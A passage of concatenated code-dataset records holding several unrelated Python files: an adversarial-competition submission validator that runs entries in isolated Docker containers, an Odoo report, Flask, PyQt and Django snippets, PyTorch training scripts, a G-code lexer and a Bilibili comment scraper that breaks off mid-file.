submission.\"\"\"\n\n def __init__(self, temp_dir, use_gpu):\n \"\"\"Initializes instance of SubmissionValidator.\n\n Args:\n temp_dir: temporary working directory\n use_gpu: whether to use GPU\n \"\"\"\n self._temp_dir = temp_dir\n self._use_gpu = use_gpu\n self._tmp_extracted_dir = os.path.join(self._temp_dir, 'tmp_extracted')\n self._extracted_submission_dir = os.path.join(self._temp_dir, 'extracted')\n self._sample_input_dir = os.path.join(self._temp_dir, 'input')\n self._sample_output_dir = os.path.join(self._temp_dir, 'output')\n\n def _prepare_temp_dir(self):\n \"\"\"Cleans up and prepare temporary directory.\"\"\"\n if not shell_call(['sudo', 'rm', '-rf', os.path.join(self._temp_dir, '*')]):\n logging.error('Failed to cleanup temporary directory.')\n sys.exit(1)\n # NOTE: we do not create self._extracted_submission_dir\n # this is intentional because self._tmp_extracted_dir or it's subdir\n # will be renames into self._extracted_submission_dir\n os.mkdir(self._tmp_extracted_dir)\n os.mkdir(self._sample_input_dir)\n os.mkdir(self._sample_output_dir)\n # make output dir world writable\n shell_call(['chmod', 'a+rwX', '-R', self._sample_output_dir])\n\n def _extract_submission(self, filename):\n \"\"\"Extracts submission and moves it into self._extracted_submission_dir.\"\"\"\n # verify filesize\n file_size = os.path.getsize(filename)\n if file_size > MAX_SUBMISSION_SIZE_ZIPPED:\n logging.error('Submission archive size %d is exceeding limit %d',\n file_size, MAX_SUBMISSION_SIZE_ZIPPED)\n return False\n # determime archive type\n exctract_command_tmpl = get_extract_command_template(filename)\n if not exctract_command_tmpl:\n logging.error('Input file has to be zip, tar or tar.gz archive; however '\n 'found: %s', filename)\n return False\n # extract archive\n submission_dir = os.path.dirname(filename)\n submission_basename = os.path.basename(filename)\n logging.info('Extracting archive %s', filename)\n retval = shell_call(\n ['docker', 'run',\n '--network=none',\n '-v', '{0}:/input_dir'.format(submission_dir),\n '-v', '{0}:/output_dir'.format(self._tmp_extracted_dir),\n 'busybox:1.27.2'] + exctract_command_tmpl,\n src=os.path.join('/input_dir', submission_basename),\n dst='/output_dir')\n if not retval:\n logging.error('Failed to extract submission from file %s', filename)\n return False\n if not make_directory_writable(self._tmp_extracted_dir):\n return False\n # find submission root\n root_dir = self._tmp_extracted_dir\n root_dir_content = [d for d in os.listdir(root_dir) if d != '__MACOSX']\n if (len(root_dir_content) == 1\n and os.path.isdir(os.path.join(root_dir, root_dir_content[0]))):\n logging.info('Looks like submission root is in subdirectory \"%s\" of '\n 'the archive', root_dir_content[0])\n root_dir = os.path.join(root_dir, root_dir_content[0])\n # Move files to self._extracted_submission_dir.\n # At this point self._extracted_submission_dir does not exist,\n # so following command will simply rename root_dir into\n # self._extracted_submission_dir\n if not shell_call(['mv', root_dir, self._extracted_submission_dir]):\n logging.error('Can''t move submission files from root directory')\n return False\n return True\n\n def _verify_submission_size(self):\n submission_size = 0\n for dirname, _, filenames in os.walk(self._extracted_submission_dir):\n for f in filenames:\n submission_size += os.path.getsize(os.path.join(dirname, f))\n logging.info('Unpacked submission size: %d', submission_size)\n if submission_size > MAX_SUBMISSION_SIZE_UNPACKED:\n logging.error('Submission size exceeding limit %d',\n MAX_SUBMISSION_SIZE_UNPACKED)\n return submission_size <= MAX_SUBMISSION_SIZE_UNPACKED\n\n def _load_and_verify_metadata(self):\n \"\"\"Loads and verifies metadata.\n\n Returns:\n dictionaty with metadata or None if metadata not found or invalid\n \"\"\"\n metadata_filename = os.path.join(self._extracted_submission_dir,\n 'metadata.json')\n if not os.path.isfile(metadata_filename):\n logging.error('metadata.json not found')\n return None\n try:\n with open(metadata_filename, 'r') as f:\n metadata = json.load(f)\n except IOError as e:\n logging.error('Failed to load metadata: %s', e)\n return None\n for field_name in REQUIRED_METADATA_JSON_FIELDS:\n if field_name not in metadata:\n logging.error('Field %s not found in metadata', field_name)\n return None\n # Verify submission type\n if metadata['type'] not in ALLOWED_SUBMISSION_TYPES:\n logging.error('Invalid submission type in metadata: %s',\n metadata['type'])\n return None\n # Check submission entry point\n entry_point = metadata['entry_point']\n if not os.path.isfile(os.path.join(self._extracted_submission_dir,\n entry_point)):\n logging.error('Entry point not found: %s', entry_point)\n return None\n if not entry_point.endswith('.sh'):\n logging.warning('Entry point is not an .sh script. '\n 'This is not necessarily a problem, but if submission '\n 'won''t run double check entry point first: %s',\n entry_point)\n # Metadata verified\n return metadata\n\n def _verify_docker_image_size(self, image_name):\n \"\"\"Verifies size of Docker image.\n\n Args:\n image_name: name of the Docker image.\n\n Returns:\n True if image size is within the limits, False otherwise.\n \"\"\"\n shell_call(['docker', 'pull', image_name])\n try:\n image_size = subprocess.check_output(\n ['docker', 'inspect', '--format={{.Size}}', image_name]).strip()\n image_size = int(image_size)\n except (ValueError, subprocess.CalledProcessError) as e:\n logging.error('Failed to determine docker image size: %s', e)\n return False\n logging.info('Size of docker image %s is %d', image_name, image_size)\n if image_size > MAX_DOCKER_IMAGE_SIZE:\n logging.error('Image size exceeds limit %d', MAX_DOCKER_IMAGE_SIZE)\n return image_size <= MAX_DOCKER_IMAGE_SIZE\n\n def _prepare_sample_data(self, submission_type):\n \"\"\"Prepares sample data for the submission.\n\n Args:\n submission_type: type of the submission.\n \"\"\"\n # write images\n images = np.random.randint(0, 256,\n size=[BATCH_SIZE, 299, 299, 3], dtype=np.uint8)\n for i in range(BATCH_SIZE):\n Image.fromarray(images[i, :, :, :]).save(\n os.path.join(self._sample_input_dir, IMAGE_NAME_PATTERN.format(i)))\n # write target class for targeted attacks\n if submission_type == 'targeted_attack':\n target_classes = np.random.randint(1, 1001, size=[BATCH_SIZE])\n target_class_filename = os.path.join(self._sample_input_dir,\n 'target_class.csv')\n with open(target_class_filename, 'w') as f:\n for i in range(BATCH_SIZE):\n f.write((IMAGE_NAME_PATTERN + ',{1}\\n').format(i, target_classes[i]))\n\n def _run_submission(self, metadata):\n \"\"\"Runs submission inside Docker container.\n\n Args:\n metadata: dictionary with submission metadata\n\n Returns:\n True if status code of Docker command was success (i.e. zero),\n False otherwise.\n \"\"\"\n container_name = (metadata['container_gpu']\n if self._use_gpu else metadata['container'])\n if metadata['type'] == 'defense':\n cmd = ['--network=none',\n '-m=24g',\n '-v', '{0}:/input_images:ro'.format(self._sample_input_dir),\n '-v', '{0}:/output_data'.format(self._sample_output_dir),\n '-v', '{0}:/code'.format(self._extracted_submission_dir),\n '-w', '/code',\n container_name,\n './' + metadata['entry_point'],\n '/input_images',\n '/output_data/result.csv']\n else:\n epsilon = np.random.choice(ALLOWED_EPS)\n cmd = ['--network=none',\n '-m=24g',\n '-v', '{0}:/input_images:ro'.format(self._sample_input_dir),\n '-v', '{0}:/output_images'.format(self._sample_output_dir),\n '-v', '{0}:/code'.format(self._extracted_submission_dir),\n '-w', '/code',\n container_name,\n './' + metadata['entry_point'],\n '/input_images',\n '/output_images',\n str(epsilon)]\n if self._use_gpu:\n cmd = ['docker', 'run', '--runtime=nvidia'] + cmd\n else:\n cmd = ['docker', 'run'] + cmd\n logging.info('Command to run submission: %s', ' '.join(cmd))\n result = shell_call(cmd)\n make_directory_writable(self._extracted_submission_dir)\n make_directory_writable(self._sample_output_dir)\n return result\n\n def _verify_output(self, submission_type):\n \"\"\"Verifies correctness of the submission output.\n\n Args:\n submission_type: type of the submission\n\n Returns:\n True if output looks valid\n \"\"\"\n result = True\n if submission_type == 'defense':\n try:\n image_classification = load_defense_output(\n os.path.join(self._sample_output_dir, 'result.csv'))\n expected_keys = [IMAGE_NAME_PATTERN.format(i)\n for i in range(BATCH_SIZE)]\n if set(image_classification.keys()) != set(expected_keys):\n logging.error('Classification results are not saved for all images')\n result = False\n except IOError as e:\n logging.error('Failed to read defense output file: %s', e)\n result = False\n else:\n for i in range(BATCH_SIZE):\n image_filename = os.path.join(self._sample_output_dir,\n IMAGE_NAME_PATTERN.format(i))\n try:\n img = np.array(Image.open(image_filename).convert('RGB'))\n if list(img.shape) != [299, 299, 3]:\n logging.error('Invalid image size %s for image %s',\n str(img.shape), image_filename)\n result = False\n except IOError as e:\n result = False\n return result\n\n def validate_submission(self, filename):\n \"\"\"Validates submission.\n\n Args:\n filename: submission filename\n\n Returns:\n submission metadata or None if submission is invalid\n \"\"\"\n self._prepare_temp_dir()\n # Convert filename to be absolute path, relative path might cause problems\n # with mounting directory in Docker\n filename = os.path.abspath(filename)\n # extract submission\n if not self._extract_submission(filename):\n return None\n # verify submission size\n if not self._verify_submission_size():\n return None\n # Load metadata\n metadata = self._load_and_verify_metadata()\n if not metadata:\n return None\n submission_type = metadata['type']\n # verify docker container size\n if not self._verify_docker_image_size(metadata['container_gpu']):\n return None\n # Try to run submission on sample data\n self._prepare_sample_data(submission_type)\n if not self._run_submission(metadata):\n logging.error('Failure while running submission')\n return None\n if not self._verify_output(submission_type):\n logging.warning('Some of the outputs of your submission are invalid or '\n 'missing. You submission still will be evaluation '\n 'but you might get lower score.')\n return metadata\n","sub_path":"examples/nips17_adversarial_competition/eval_infra/validation_tool/validate_submission_lib.py","file_name":"validate_submission_lib.py","file_ext":"py","file_size_in_byte":14808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"62533219","text":"# -*- encoding: utf-8 -*-\n\nfrom odoo import api, models\nfrom odoo.exceptions import UserError\nimport logging\n\nclass LibroBancos(models.AbstractModel):\n _name = 'report.account_gt.reporte_libro_bancos'\n\n\n def saldo_inicial(self, datos):\n account_move_line_ids = self.env['account.move.line'].search([('account_id','=',datos['cuenta_id'][0]), ('date','<',datos['fecha_inicio'])], order='date')\n saldo = 0\n if account_move_line_ids:\n for movimiento in account_move_line_ids:\n saldo += movimiento.debit - movimiento.credit\n logging.warn(saldo)\n return saldo\n\n def movimientos(self, datos):\n moves = []\n account_move_line_ids = self.env['account.move.line'].search([('account_id','=',datos['cuenta_id'][0]), ('date','>=',datos['fecha_inicio']), ('date','<=',datos['fecha_fin'])], order='date')\n for movimiento in account_move_line_ids:\n\n mov = {\n 'fecha': movimiento.date,\n # 'documento': movimiento.move_id.name if movimiento.move_id else '',\n 'nombre': movimiento.partner_id.name if movimiento.partner_id else '',\n 'descripcion': (movimiento.ref if movimiento.ref else ''),\n 'debito': movimiento.debit,\n 'credito': movimiento.credit,\n 'saldo': 0,\n # 'moneda': linea.company_id.currency_id,\n }\n moves.append(mov)\n\n saldo_inicial = self.saldo_inicial(datos)\n saldo = saldo_inicial\n for m in moves:\n saldo = saldo + m['debito'] - m['credito']\n m['saldo'] = saldo\n\n logging.warn(moves)\n return moves\n\n\n\n @api.model\n def _get_report_values(self, docids, data=None):\n model = self.env.context.get('active_model')\n docs = self.env[model].browse(self.env.context.get('active_ids', []))\n logging.warn(data)\n return {\n 'doc_ids': self.ids,\n 'doc_model': model,\n 'data': data['form'],\n 'docs': docs,\n 'movimientos': self.movimientos,\n 'saldo_inicial': self.saldo_inicial,\n # 'direccion': diario.direccion and diario.direccion.street,\n }\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"report/libro_bancos_report.py","file_name":"libro_bancos_report.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"450580793","text":"from app import app\n\nfrom config import app_config\n\nconfig_name = \"development\"\napp = app(config_name)\n\n\n@app.route('/')\ndef hello_root():\n \"\"\"\n Return a simple hello message on the root of the app.\n \"\"\"\n return \"Welcome to politico access Version1 via /api/v1 and \" \\\n \"Version2 via /api/v2 built by @Tevinthuku, credits to Andela\"\n\n\nif __name__ == '__main__':\n \"\"\"\n the app runs here\n \"\"\"\n app.run()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"440212548","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nimport back\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(1026, 595)\n MainWindow.setStyleSheet(\"background-color: rgb(208, 255, 254);\\n\"\n\"\")\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.list = QtWidgets.QScrollArea(self.centralwidget)\n self.list.setGeometry(QtCore.QRect(10, 130, 991, 421))\n self.list.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.list.setStyleSheet(\"background-color: rgb(255, 255, 255);\")\n self.list.setFrameShape(QtWidgets.QFrame.Box)\n self.list.setFrameShadow(QtWidgets.QFrame.Raised)\n self.list.setLineWidth(3)\n self.list.setMidLineWidth(1)\n self.list.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n self.list.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n self.list.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow)\n self.list.setWidgetResizable(True)\n self.list.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)\n self.list.setObjectName(\"list\")\n self.scrollAreaWidgetContents = QtWidgets.QWidget()\n self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 956, 386))\n self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\")\n self.anime = QtWidgets.QPushButton(self.scrollAreaWidgetContents)\n self.anime.setGeometry(QtCore.QRect(10, 20, 911, 51))\n self.anime.setObjectName(\"anime\")\n self.list.setWidget(self.scrollAreaWidgetContents)\n self.addwebtoon = QtWidgets.QPushButton(self.centralwidget)\n self.addwebtoon.setGeometry(QtCore.QRect(300, 20, 241, 81))\n font = QtGui.QFont()\n font.setFamily(\"Gabriola\")\n font.setPointSize(20)\n self.addwebtoon.setFont(font)\n self.addwebtoon.setStyleSheet(\"background-color: rgb(82, 255, 255);\")\n self.addwebtoon.setObjectName(\"addwebtoon\")\n self.back = QtWidgets.QPushButton(self.centralwidget)\n self.back.setGeometry(QtCore.QRect(0, 0, 271, 121))\n font = QtGui.QFont()\n font.setFamily(\"Gabriola\")\n font.setPointSize(50)\n self.back.setFont(font)\n self.back.setStyleSheet(\"background-color: rgb(25, 120, 200);\")\n self.back.setObjectName(\"back\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n self.anime.setText(_translate(\"MainWindow\", \"PushButton\"))\n self.addwebtoon.setText(_translate(\"MainWindow\", \"Add Webtoon\"))\n self.back.setText(_translate(\"MainWindow\", \"AniTrack\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n ui = Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())\n","sub_path":"webtoon.py","file_name":"webtoon.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"20374998","text":"#!/usr/bin/env python3\n#You are going to create a phone directory to collect your phone numbers.\n\n#You will use a Python dictionary.\n\n#You will create a function to add a name associated to a number.\ndef add_name_number(dictionary,name,phone_number):\n dictionary[name] = phone_number\n return\n\n#You will create a function to update a number to a name:\ndef update_number(dictionary,name,phone_number):\n if name in dictionary:\n dictionary[name] = phone_number\n else:\n print(name+\" is not in the dictionary\")\n return\n\n#You will create a function to remove a name from your directory\ndef remove_number(dictionary,name):\n if name in dictionary:\n del dictionary[name]\n else:\n print(name+\" is not in the dictionary\")\n return\n\n#You will create a function displaying the content of your phone directory\ndef display_content(dictionary):\n for key,val in dictionary.items():\n print(\"%s|%s\"%(key,val))\n return\n\n\nif __name__ == \"__main__\":\n my_phone_directory={}\n add_name_number(my_phone_directory,\"seb\",\"7732199999\")\n add_name_number(my_phone_directory,\"maria\",\"7732199998\")\n add_name_number(my_phone_directory,\"vinh\",\"7732199997\")\n display_content(my_phone_directory)\n\n update_number(my_phone_directory,\"vinh\",\"7732199987\")\n display_content(my_phone_directory)\n\n remove_number(my_phone_directory,\"vinh\")\n display_content(my_phone_directory)\n\n\n","sub_path":"assignment1/exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"148833218","text":"import os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim.lr_scheduler as lr_scheduler\n# port torchsummary as summary\nfrom torchvision import transforms, datasets\nfrom torch.utils.data import Dataset, DataLoader\nfrom model import *\nimport numpy as np\nimport cv2\nfrom PIL import Image\n\nbinary_colormap = [0, 255]\n\ntusimple_path = '/home/gong/Datasets/TuSimple'\nour_batch_size = 1\nnum_classes = 2\nepochs = 10\n\n\n# 读取所有数据的地址\ndef read_images(path, is_train=True):\n file = path + ('/train/train.txt' if is_train else '/test/test.txt')\n with open(file) as f:\n imgs = f.read().split()\n\n datas = []\n labels = []\n for idx, img in enumerate(imgs):\n if idx % 3 == 0:\n datas.append(img)\n if idx % 3 == 1:\n labels.append(img)\n\n return datas, labels\n\n\n# 对单张图像对应的 原始图+标签图,返回各自的tensor\ndef transform(img, label):\n img = cv2.imread(img)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n label = cv2.imread(label, cv2.IMREAD_GRAYSCALE)\n\n img2tensor = torch.from_numpy(img.transpose((2, 0, 1)))\n img2tensor = img2tensor.float().div(255)\n\n # 使标签中的不同颜色对应 数字0和1\n for i in range(2):\n label[label == binary_colormap[i]] = i\n label[label == 224] = 0\n label2tensor = torch.from_numpy(label)\n\n return img2tensor, label2tensor\n\n\n# 自己写一个继承了Dataset类,负责将数据处理成”适配DataLoader函数“的类\n# 原本是 先把所有img的tensor存入一个list, 再把所有label的tensor存入另一个list,\n# 然后把这两个list作为TensorDataset的输入,最后把TensorDataset的输出作为DataLoader的输入\n# https://blog.csdn.net/zw__chen/article/details/82806900\n\n\nclass DealDataset(Dataset):\n def __init__(self, train):\n super(DealDataset, self).__init__()\n self.img_path, self.label_path = read_images(tusimple_path, train)\n self.len = len(self.img_path)\n\n # 看起来很简单,写好下面三行后,似乎继承的类里有类似for循环一样的操作?总共执行了self.len次?\n def __getitem__(self, idx):\n img, label = transform(self.img_path[idx], self.label_path[idx])\n # print(label.size())\n return img, label\n\n def __len__(self):\n return self.len\n\n\n# 设备\n# os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\ntorch.cuda.set_device(1)\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# torch.backends.cudnn.enabled = False # 死马当做活马医 # 试验后,发现没用,应该是label的值中有不是0~20的原因,导致criterion相关函数报错\n\n# 数据\ntrain_data = DealDataset(train=True)\nval_data = DealDataset(train=False)\ntrain_loader = DataLoader(dataset=train_data, batch_size=our_batch_size, shuffle=True)\nval_loader = DataLoader(dataset=val_data, batch_size=our_batch_size)\n\n# 模型\nour_model = encoder_decoder(num=num_classes) # 训练时\n# our_model = FCN_VGG() # 测试时(以下三行)\n# our_model.load_state_dict(torch.load('./model/fcn_vgg16_1.pkl'))\n# model.eval()\n\n# our_model.to(device) # 指定模型加载于GPU上\nour_model = our_model.to(device)\n\n# config, 配置\nlearning_rate = 0.01\ncriterion = nn.NLLLoss()\n# criterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.SGD(our_model.parameters(), lr=learning_rate, weight_decay=5*1e-4, momentum=0.9)\n\n\ndef adjust_learning_rate(optimizer, epoch):\n \"\"\"Sets the learning rate to the initial LR decayed by 10 every 50 epochs\"\"\"\n lr = 0.01 * (0.1 ** (epoch // 50))\n for param_group in optimizer.param_groups: # 参考https://blog.csdn.net/bc521bc/article/details/85864555\n print('lr : ', param_group['lr'])\n param_group['lr'] = lr\n print('reduce to ', param_group['lr'])\n\n\n# 单个epoch的训练\ndef train(our_model, device, train_loader, optimizer, epoch):\n our_model.train()\n adjust_learning_rate(optimizer, epoch)\n for batch_idx, (data, label) in enumerate(train_loader):\n # data.to(device)\n # label.to(device)\n data, label = data.cuda(), label.cuda()\n optimizer.zero_grad()\n\n output = our_model(data)\n # print(output.size())\n output = F.log_softmax(output, dim=1) # dim=1 代表对输入tensor的每一行做“softmax,再做log”\n # print(output.size())\n loss = criterion(output, label.long())\n # loss = criterion(output, label)\n\n loss.backward()\n optimizer.step()\n if batch_idx % 30 == 0:\n print('train {} epoch : {}/{} \\t loss : {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset), loss.item()))\n\n\nfor epoch in range(epochs):\n print(epoch)\n train(our_model, device, train_loader, optimizer, epoch)\n torch.save({\n \"epoch\": epoch,\n \"model_state_dict\": our_model.state_dict(),\n \"loss_state_dict\": criterion.state_dict(), # 这个没什么意义吧!!!\n \"optimizer_state_dict\": optimizer.state_dict()\n }, './checkpoint/encoder_decoder_1.pkl')\n","sub_path":"mine/data_train.py","file_name":"data_train.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"598834538","text":"#Allows lines to be broken up into tokens by using regex\nfrom nltk.tokenize import RegexpTokenizer\n#Regex\nimport re\nimport sys\n\n#Given a gcode line\n#Return an array of tokens following the described regex rules\ndef lexer(textLine):\n\n\tpattern = \"\"\n\t#pattern += \"G69.*|G\\d+\" #G word\n\t#pattern += \"|M\\d+\" #M word\n\tpattern += \"V\\d+\" #Variable rule\n\tpattern += \"|\\d+\\.?\\d*\" #numbers rule\n\tpattern += \"|[+-/*=()]\" #Operations rule\n\n\ttokenizer = RegexpTokenizer(pattern)\n\ttokens = tokenizer.tokenize(textLine)\n\n\t#Add a newline if no tokens to maintain spacing\n\tif(len(tokens) == 0):\n\t\ttokens.append(\"\\n\")\n\treturn tokens","sub_path":"lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"554724734","text":"from django.urls import path\n\nfrom . import views\n# from .views import (EditComment)\n\nurlpatterns = [\n\t#All url with this patter will redirect to this view: index\n path('', views.index, name='index'),\n path('delete-comment//', views.delete_comment, name='delete_comment'),\n #path('EditComment//', views.EditComment, name='edit_comment'),\n path('edit-comment//', views.edit_comment, name='edit_comment'),\n]","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"513456065","text":"from django.http import HttpResponseRedirect, HttpResponse\nfrom mail.forms import Credentials\nfrom mail.models import Mail\nfrom django.shortcuts import render\nfrom django.core.exceptions import ValidationError\nfrom django.template import loader\nfrom django.core.paginator import Paginator\n\n\ndef feedback(request):\n if request.method == 'POST':\n form = Credentials(request.POST)\n if form.is_valid():\n name = form.cleaned_data['name']\n email = form.cleaned_data['email']\n msg_text = form.cleaned_data['message_text']\n Mail.objects.create(\n name=name,\n email=email,\n message_text=msg_text\n ).save()\n return HttpResponseRedirect('/Thanks/')\n else:\n raise ValidationError([\n ValidationError(_('You must enter the value'), code='err_01')\n ])\n\n else:\n form = Credentials()\n return render(request, 'Credentials.html', {'form': form})\n\n\ndef thanks(request):\n mail_list = Mail.objects.order_by('-id')[:1]\n context = {'mail_list': mail_list} \n return render(request, 'Thanks.html', context)\n\n\ndef index(request):\n mail_list = Mail.objects.all()\n paginator = Paginator(mail_list, 10)\n page_num = request.GET.get('page')\n page_obj = paginator.get_page(page_num)\n return render(request, 'Index.html', {'page_obj': page_obj})\n\n\ndef get_mail(request, mail_id):\n summary = \"Summary of mail with ID %s.\"\n return HttpResponse(summary % mail_id, 'Summary.html')\n\n\n","sub_path":"mail_form/mail_form/mail/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"26558144","text":"import torch\r\n\r\nfrom image_classifier import *\r\nimport random\r\n\r\n\r\n# ImageClassifer defines the structure of the CNN; Trainer is used to actually train it\r\nclass Trainer:\r\n def __init__(self, data_iter, grayscale, learning_rate=0.001, momentum=0.9): # these constants are explained in later comments\r\n self.data_iter = data_iter\r\n self.learning_rate = learning_rate\r\n self.momentum = momentum\r\n\r\n # Define the CNN to be trained\r\n if grayscale:\r\n self.image_classifier = GrayscaleImageClassifier() # note that Trainer is not a subclass of ImageClassifier, but instances of this class 'own' ImageClassifiers, which they train\r\n else:\r\n self.image_classifier = RGBImageClassifier()\r\n\r\n # Define training variables\r\n self.loss_fn = torch.nn.CrossEntropyLoss() # this function computes the difference between the CNN's answer and the labelled answer\r\n self.optimiser = torch.optim.SGD(self.image_classifier.parameters(), lr=learning_rate, momentum=momentum)\r\n \"\"\"\r\n Stochastic Gradient Descent (SGD) uses backpropagation to slowly descend down the graph of the loss function to find a local minimum (this is called 'learning')\r\n The 'lr' (learning rate) corresponds to the amount that each weight/bias/filter adjusts during backpropagation\r\n A learning rate of 0.001 appears to result in the fastest and most effective learning\r\n Momentum refers to the smoothing of noisy data, and a visualisation, as well as a reinforcement that 0.9 is the optimal value, can be found at:\r\n https://towardsdatascience.com/stochastic-gradient-descent-with-momentum-a84097641a5d\r\n \"\"\"\r\n\r\n self.started = False\r\n self.delay = 0\r\n self.correct_guess = False\r\n self.true_total = 0 # 'true_total' never changes, whereas 'total' can be reset\r\n self.reset_accuracy()\r\n self.softmax = torch.nn.Softmax(dim=1) # this converts the final layer of neurons into probabilities 0 <= p <= 1 which sum to 1\r\n\r\n self.probabilities = torch.zeros(1, 10)\r\n\r\n def training_step(self):\r\n self.started = True\r\n\r\n # Get the next image and label\r\n self.images, self.labels = self.data_iter.next() # the variable names are pluralised because 'images', for instance, is a list with one 'image' in it\r\n\r\n self.optimiser.zero_grad() # these gradients are used to compute backpropagation, but must be reset to 0 each loop to avoid compounding effects\r\n\r\n # Run a 'forward pass' through the CNN\r\n self.outputs = self.image_classifier(self.images) # calling the object as a function is implemented for subclasses of 'torch.nn.Module' and ultimately runs 'ImageClassifier.forward'\r\n\r\n # Compute loss between guessed outputs and true labels while storing data about the weights/biases/filters for backpropagation later\r\n self.loss = self.loss_fn(self.outputs, self.labels)\r\n\r\n # Compute backpropagation in the following two lines, due to the simplicity of PyTorch\r\n self.loss.backward() # generate gradient values based on the results of the forward pass through the network\r\n self.optimiser.step() # update parameters in the network based on these gradients\r\n\r\n # Generate probabilities for each class (e.g. 97.23% ship, 0.51% airplane, etc.)\r\n self.probabilities = self.softmax(self.outputs)\r\n\r\n # Update display variables (accuracy, total, etc.)\r\n self.best_guess = torch.max(self.outputs, 1)[1] # the max of the outputs (value, tensor) is the best guess, then [1] gets the tensor\r\n self.correct_guess = bool(self.labels == self.best_guess) # True or False depending on whether the network guessed correctly\r\n\r\n # Update counters\r\n if self.correct_guess:\r\n self.correct += 1\r\n self.total += 1\r\n self.true_total += 1\r\n\r\n def guess_images(self, images, delay=0):\r\n if self.delay <= 0:\r\n # run the outputs through the network, but don't bother computing gradients or optimising anything, simplifying the process\r\n self.outputs = self.image_classifier(images)\r\n self.loss = -1 # tell Pygame not to render loss by setting to something it could never naturally equal\r\n self.probabilities = self.softmax(self.outputs)\r\n self.best_guess = torch.max(self.outputs, 1)[1]\r\n self.correct_guess = False\r\n self.delay = delay # after guessing the image, refuse to do anything for the next 'delay' function calls\r\n self.delay -= 1\r\n if self.delay < 0:\r\n self.delay = 0\r\n\r\n def reset_accuracy(self):\r\n \"\"\"\r\n This function is called when the user believes the network has improved, but its past results are dragging down its accuracy.\r\n After resetting the accuracy, it will keep the 'true_total' but restart its ongoing calculation of the accuracy percentage \r\n \"\"\"\r\n self.correct = 0\r\n self.total = 0\r\n\r\n def get_accuracy(self):\r\n \"\"\"\r\n Return the accuracy by dividing correct by total.\r\n max(1, x) is used as self.total can reset to 0, so the accuracy will be equal to 0/1 = 0 in that case.\r\n \"\"\"\r\n return 100 * self.correct / max(1, self.total)\r\n","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"472794520","text":"from selenium.webdriver import Chrome\r\nfrom time import sleep\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom matplotlib import pyplot as plt\r\nimport xlwt\r\n#无头设置,不显示浏览器\r\nopt = Options()\r\nopt.add_argument(\"--headless\")\r\nopt.add_argument(\"--disable-gup\")\r\n\r\nweb = Chrome(options=opt)\r\nweb.get(\"https://t.bilibili.com/528672278995406531?tab=2\")\r\n\r\n#滚动到底部\r\nfor i in range(10):\r\n web.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\") \r\n print('working',i)\r\n sleep(0.5)\r\n\r\n#定位user节点,爬取uid(a)和等级(i)\r\nuser_list = {}\r\nuser = web.find_elements_by_class_name('user')\r\ncount = 0\r\nfor item in user:\r\n uid = item.find_element_by_tag_name('a')\r\n level = item.find_element_by_tag_name('i')\r\n user_list[uid.get_attribute('data-usercard-mid')] = level.get_attribute('class')\r\n count += 1\r\nTotal_number = len(user_list)\r\n\r\n#将所有uid根据等级分组\r\nlv1 = []\r\nlv2 = 